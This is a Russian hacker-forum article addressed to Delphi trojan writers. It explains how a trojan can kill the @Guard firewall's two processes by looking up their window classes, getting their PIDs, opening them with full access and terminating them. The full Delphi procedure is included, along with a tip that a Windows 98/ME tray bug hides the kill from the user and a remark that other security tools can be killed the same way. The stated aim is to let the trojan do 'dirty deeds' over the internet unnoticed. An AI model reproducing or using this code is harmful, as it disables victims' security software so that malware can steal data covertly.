Здрасьте, уважаемые господа_трояноконструкторы_Delphi_кодеры.

Сегодня я поведаю Вам, о том, как всякие
противные фаерволы на том конце инета
мешают работать Вашим творениям. Итак, вы
написали троян, который чего-то по инету
должен передать, и если на машине у "клиента"
стоит такая вещь как @Guard, ессесно она
предупредит юзера, о том что "у нас гости :о)",
чему он несказанно обрадуется. И придется
Вам всю свою (не?)сознательную жизнь на
своей машине GUI пинать 🙂

Но есть метод, который позволяет оставить
Атгвард глубоко в дауне. Некоторые из вас
знают, что такое Window Class т.е. класс окошка,
вот по нему мы и будем работать.

Листинг я привел конкретно для @Guard т.к. это
самый распространенный файервол (да не
порвут меня почитатели ConSeal).Узнать класс
окошка можно через Винсайт32 (WinSight32), который
поставляется_с_ чем_угодно_от_ BugLand_ныне_Inprise.
Точнее говоря, нам нужен не класс окошка, а
PID, который можно узнать по классу окошка.
Если мы знаем PID, то нам не составляет
особого труда выгрузить его нахрен, и
проворачивать свои грязные делишки
втихомолку от юзера.

Да, чуть не забыл сказать @Guard состоит из 2х
частей : IaMapp.exe, и IaMServ.exe, для них обоих
необходимо найти их ПИДы.

Итак листинг:
...   //сбор необходимой информации на
...   //машине клиента
FWUnload;
//вызываем поцедуру выгрузки
{Далее идет процедура выгрузки}
procedure FWUnload;
var
AG_hWnd:HWND;     //ХВНД Iamserv.exe
agc:HWND;         //ХВНД Iamapp.exe
agc_pid:dword;    //PID iamapp.exe
AG_PID:DWORD;     //PID Iamserv.exe
D:cardinal;       //переменная в,
кот.будет записан процесс сервака
j:cardinal;       //переменная в,
кот.будет записан процесс априложения
dd:cardinal;      //exitcode для сервака
jj:cardinal;      //exitcode для
аппликации
begin
AG_HWND:=FindWindow('wrq nam',nil);
//находим окошко с классом "wrq nam" (это
сервак)
AGC:=Findwindow('WRQ NAMApp Class',nil);
//находим окошко с классом "WRQ NAMApp Class" (это
аппликация)
GetWindowThreadProcessId(ag_hwnd,@ag_pid);
//получаем ПИД сервака
GetWindowThreadProcessId(agc,@agc_pid);
//получаем ПИД аппликации
D:=OpenProcess(Process_all_access,true,ag_pid);
//открываем процесс сервака с правами
полного доступа
j:=OPenProcess(Process_all_access,true,agc_pid);
//открываем процесс аппликации с правами
полного доступа
GetexitcoDeprocess(d,dd);
//получаем код выхода для сервака
Getexitcodeprocess(j,jj);
//получаем код выхода для аппликации
terminateprocess(d,dd);
//убиваем сервак
Terminateprocess(j,jj);
//убиваем аппликацию
end;

{Вуаля!}
...
//прокручиваем свои грязные делишки через
инет!

Причем, те кто знакомы с АТГвардом знают,
что он висит в трейе. И самое замечательное,
что systray имеет небольшой баг (но тока в 98 и
Линолеуме(ME))
(и это нам на руку): если выгрузить АТГвард (да
и не только), иконка в трейе будет
оставаться как будто ничего и не было, но
только до тех пор, пока юзер не наведет на
него мышой, вероятность чего очень мала.

Итак мы кикнули атгвард! Но не только его
можно выгрузить таким образом, просто нужно
узнать Класс окошка, подлежащего убиению с
помощью вышеупомянутого ВинСайта (к веб-дезигну
и веб-сайтам он не имеет ни малейшего
отношения) и убить его как было показано
выше. Вот собственно и все...

Спасибо за внимание.
//Изъюзаные материалы:
//Win32 API
//Special thanx 2 BillG:)

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии